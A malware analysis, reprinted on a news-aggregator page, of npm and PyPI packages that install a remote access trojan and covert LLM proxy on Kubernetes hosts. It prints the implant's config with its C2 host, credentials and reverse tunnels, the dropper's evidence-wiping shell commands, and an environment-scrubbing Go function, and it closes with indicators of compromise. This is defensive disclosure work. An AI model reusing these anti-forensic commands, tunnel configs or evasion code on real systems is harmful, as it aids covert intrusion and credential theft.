惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Recent Announcements
Recent Announcements
博客园 - Franky
博客园 - 三生石上(FineUI控件)
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Apple Machine Learning Research
Apple Machine Learning Research
云风的 BLOG
云风的 BLOG
人人都是产品经理
人人都是产品经理
博客园 - 【当耐特】
L
LangChain Blog
Stack Overflow Blog
Stack Overflow Blog
H
Help Net Security
爱范儿
爱范儿
罗磊的独立博客
博客园_首页
美团技术团队
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
月光博客
月光博客
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
量子位
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
博客园 - 叶小钗
V
Visual Studio Blog
T
Tailwind CSS Blog

Hacker News - Newest: "LLM"

GitHub - lechmazur/position_bias: A benchmark for testing whether LLM judges keep the same preference when two lightly edited versions of the same story are shown in opposite orders. Flex routing (EU and EFTA) Dark Factories: Retooling for LLM Velocity Ask HN: What would be the impact of a LLM output injection attack? GitHub - Oaklight/llm-rosetta: Production-ready LLM API translation layer for Python — bidirectional conversion between OpenAI, Anthropic & Google formats via hub-and-spoke IR. Optional API gateway. Streaming & non-streaming. Zero core deps. Contributions welcome! GitHub - browser-use/browser-harness: Self-healing browser harness that enables LLMs to complete any task. GitHub - moeen-mahmud/remen: Remen turns thoughts into something you can return to Analyzing 156 LLM Launch Posts on Hacker News ChatGPT vs Gemini vs Claude: The Best LLM Subscription You Should Buy GitHub - salaamalykum/quran-semantic-search: High-density RAG Semantic Search Engine & Quran Corpus (GEO/SEO Architecture) GitHub - NVIDIA/TensorRT-LLM: TensorRT LLM provides users with an easy-to-use Python API to define Large Language Models (LLMs) and supports state-of-the-art optimizations to perform inference efficiently on NVIDIA GPUs. TensorRT LLM also contains components to create Python and C++ runtimes that orchestrate the inference execution in a performant way. The State of LLM Bug Bounties in 2026 Operational Readiness Criteria for Tool-Using LLM Agents Meshcore: Architecture for a Decentralized P2P LLM Inference Network How an LLM becomes more coherent as we train it GitHub - seetrex-ai/laimark GitHub - Jossifresben/BibCrit: AI-assited biblical textual criticism GitHub - wastedcode/memex: File system based wiki, maintained by Claude 99helpers.com GitHub - cliver-project/AITrigram GitHub - unbody-io/adapt: A self-evolving memory layer for AI agents. GitHub - hb20007/awesome-gen-ai-fails: A list of incidents where reliance on generative AI and LLMs resulted in harm to companies, individuals, or society GitHub - nevenkordic/localmind: Run any local LLM with persistent memory and context. CLI agent over Ollama with SQLite-backed hybrid recall. No cloud. Ask HN: What are the machine requirements for a LLM like Llama-3.1-8B? Faster LLM Inference via Sequential Monte Carlo grpo explained: group relative policy optimization for llm finetuning - cgft Stop comparing price per million tokens: the hidden LLM API costs · TensorZero Andrej Karpathy's LLM Wiki Is a Bad Idea GitHub - GG-QandV/mnemostroma: Offline RAM-first cognitive leer/coprocessor for AI agents and robotics. Solves "Context Abandonment" with 20-80ms latency using a dual-thread biomimetic memory architecture (ONNX + SQLite WAL). mempalace/agent at agent · skorotkiewicz/mempalace
GPT-Proxy Backdoor in npm and PyPI turns Servers into Chi...
Ilyas Makari · 2026-04-22 · via Hacker News - Newest: "LLM"

We recently observed two malicious packages across npm (kube-health-tools) and PyPI (kube-node-health) that appear designed to target Kubernetes environments. Both packages are innocuous on the surface, using names that reference Kubernetes to appear legitimate. But under the hood, they silently install a full LLM proxy service on the victim's machine, allowing the attacker to route LLM traffic through the compromised server as if it were just another relay node in a commercial AI reselling platform.

Stage 1: The Droppers

Both packages ship a compiled native binary as their payload carrier.

The two stage 1 files are:

  • __init___cpython-311-x86_64-linux-gnu.so  (PyPI package)
  • addon.node  (npm package)

Both are native binaries that execute on import or on require(). The .so is a Cython-compiled Python extension; the .node is a Node.js native addon. They both download a stage 2 binary from GitHub. The encoded URL in the PyPI dropper resolves to:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packed

The npm dropper fetches a more capable variant from the same release:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packed

Both binaries are written to /tmp/.kh, marked executable, and launched immediately.

Both droppers also embed XOR-encrypted configuration blobs that get piped directly into the stage 2 binary on launch. The stage 2 binary reads the config from stdin, decrypts it, and uses it as its runtime configuration:

{
  "server": "https://sync[.]geeker[.]indevs[.]in",
  "auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
  "tunnels": [
    "R:4444:127.0.0.1:0",
    "R:4446:127.0.0.1:22",
    "R:4445:127.0.0.1:8200"
  ],
  "shell": {
    "enabled": true,
    "password": "123qweASD",
    "auth_keys": []
  },
  "disguise": {
    "process_name": "node-health-check",
    "argv": "--mode=daemon"
  },
  "keepalive": "25s",
  "max_retry_interval": "30s",
  "headers": {
    "User-Agent": "Mozilla/5.0"
  },
  "tls_skip_verify": true
}

The config reveals several things about the operation. The Command and Control (C2) server is sync[.]geeker[.]indevs[.]in, authenticated with a hardcoded credential (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). The disguise block instructs the implant to masquerade its process as node-health-check --mode=daemon, blending in with legitimate tooling in a process listing.

The three reverse tunnels in the config each map a port on the attacker's C2 server to a local service on the victim machine:

  • Port 4444 routes to 127.0.0.1:0 (the LLM proxy)
  • Port 4446 routes to 127.0.0.1:22 (the victim's SSH server)
  • Port 4445 routes to 127.0.0.1:8200 (HashiCorp Vault's default port, a secrets store commonly used in Kubernetes environments)

The npm variant also includes a ngrok fallback, which cycles through a pool of ngrok accounts delivered by the C2, exposing the victim’s server through a public endpoint.

After launching the stage 2 binary, the dropper script actively erases evidence of its own execution. It deletes the downloaded binary from /tmp/.kh, removes a second temp file at /tmp/.ns, and then, most notably, recursively deletes the entire kube-health-tools package directory from node_modules:

sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -path "*/node_modules/*" -exec rm -rf {} + 2>/dev/null

Within two seconds of the stage 2 binary starting, every artifact of installation is gone. A post-incident forensic scan of node_modules will find nothing.

Stage 2: Remote Access Trojan

The stage 2 binary is a compiled Go binary with several capabilities packed into a single executable. It connects back to sync[.]geeker[.]indevs[.]in over WebSocket, establishes an SSH session, and uses a Chisel tunneling protocol to register the tunnels defined in the config.

The implant implements Chisel tunneling over WebSocket:

  • SOCKS5 proxy: The binary can expose a full SOCKS5 proxy, allowing the attacker to route arbitrary TCP traffic through the victim's network.
  • Reverse shell: Configured with the password (123qweASD) found in the dropper's config block, providing a full interactive terminal.
  • SFTP server: Ships a full SFTP server, giving the attacker complete filesystem read/write access.
  • LLM proxy: An OpenAI-compatible API gateway that accepts requests and routes them upstream through attacker-provided routers.

The binary takes care to conceal itself after launch. It renames its process to node-health-check with the argument --mode=daemon, making it blend in with legitimate tooling in a process listing. It also scrubs all relevant environment variables immediately on startup:

func ClearEnv() {
    for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
        os.Unsetenv(name)
    }
    const aesKey = "s0m3R4nd0mK3y2026xYz"
    for _, kv := range os.Environ() {
        parts := strings.SplitN(kv, "=", 2)
        if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
            os.Unsetenv(parts[0])
        }
    }
}

This ensures that if a KH_CFG or NHC_CFG operator-override variable was set, it disappears from the environment before any inspection can find it.

The implant includes a fully functional OpenAI-compatible LLM proxy embedded directly in the stage 2 binary. It seems to be an API gateway that accepts requests and routes them to upstream APIs, including Chinese LLM routers like shubiaobiao.

The proxy exposes four inbound routes, reachable via the tunnel:

  • GET /health → 200 OK
  • GET /v1/models → list all configured models
  • POST /v1/chat/completions → route to upstream
  • POST /v1/completions → route to upstream

When a request hits /v1/chat/completions, the proxy:

  1. Reads the model field from the request body
  2. Looks up the model name in a routing table delivered by the C2
  3. Selects an API key from either the key_normal or key_ultra pool, depending on the config’s key_type field
  4. Rewrites the request with the upstream host, path, and bearer auth token.
  5. Forwards the request and streams the response back

From the upstream path strings found in the binary, the routing table maps model names to paths like these:

https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completions

The /gpt-proxy/ path prefix, combined with vendor names like shubiaobiao, cloudsway, and volengine, points to intermediary aggregators rather than official provider APIs. Neither api.openai.com nor api.anthropic.com appear anywhere in the binary.

The binary contains 109 hardcoded model name strings used to build the /v1/models response. They span the major frontier providers, including models from Anthropic (claude-opus-4.6, claude-sonnet-4.6-thinking), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-preview, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), and Alibaba (qwen3-235b-a22b-instruct-2507).

The Chinese Proxy Ecosystem

Running proxy servers on compromised machines is a recurring behavior in the Chinese threat landscape, driven in part by restrictions imposed by the Great Firewall. Previously, AhnLab discovered attackers deploying tools like TinyProxy and Sing-box on vulnerable honeypot servers to run covert proxy services. Indeed, the GitHub account gibunxi4201, which hosts the stage 2 payload, appears to have other proxy-related projects in its release history, consistent with an operator primarily focused on proxy infrastructure.

These proxy tools are often deployed on vulnerable servers for free proxy IPs, but also on free services like HuggingFace, Databricks, and Streamlit to browse the web without restrictions from the Great Firewall. The pattern is always the same: find a cheap or compromised resource and turn it into a free proxy server.

Chinese developers often can't access AI models because of regional blocks. This has created a booming gray market for LLM API access. Chinese platforms like Xianyu, Goofish, and Taobao are filled with listings from sellers offering access to ChatGPT, Claude, and Gemini at a fraction of the official prices via router endpoints (like those found in this malware). There are even sellers offering courses on how to monetize by running your own LLM routers.

Malicious LLM Routers

Beyond providing cheap access to AI, LLM routers like the one deployed here sit on a trust boundary that is easily abused. Because every request passes through the router in plaintext, a malicious operator can, as documented by Hanzhi Liu et al.:

  • Inject malicious tool calls into responses of coding agents before they reach the client, introducing malicious pip install or curl | bash payloads mid-flight
  • Silently exfiltrate secrets from request and response bodies, including API keys, AWS credentials, GitHub tokens, Ethereum private keys, and system prompts

The researchers found that in a corpus of 428 commodity routers, 9 were actively injecting malicious code into returned tool calls, and 17 were found to touch researcher-owned AWS canary credentials after observing them in transit.

While we found no evidence of injection or exfiltration in this specific implant, any developer whose AI coding tools are routed through a compromised machine is effectively passing their entire context window through an adversary-controlled relay.

How Aikido Detects This

If you are an Aikido user, check your central feed and filter on malware issues. This will surface as a 100/100 critical issue. Aikido rescans nightly, but we recommend triggering a manual rescan now.

If you are not yet an Aikido user, you can create an account and connect your repos. Our malware coverage is included in the free plan, no credit card required.

For broader coverage across your whole team, Aikido's Endpoint Protection gives you visibility and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.

For future protection, consider Aikido Safe Chain (open source). Safe Chain sits in your existing workflow, intercepting npm, npx, yarn, pnpm, and pnpx commands and checking packages against Aikido Intel before install.

IOCs

Malicious Packages

  • PyPI: kube-node-health
  • npm: kube-health-tools

File Hashes

  • __init___cpython-311-x86_64-linux-gnu.so (PyPI stage 1)
    • SHA256: b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
  • addon.node (npm stage 1)
    • SHA256: 5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
  • kube-diag-linux-amd64-packed (stage 2 PyPI variant)
    • SHA256: fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
  • kube-diag-full-linux-amd64-packed (stage 2 npm variant)
    • SHA256: 3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300

Network Indicators

  • C2 server: sync[.]geeker[.]indevs[.]in
  • Stage 2 download: github[.]com/gibunxi4201/kube-node-diag

Process Indicators

  • Process name: node-health-check
  • Temp download paths: /tmp/.kh and /tmp/.ns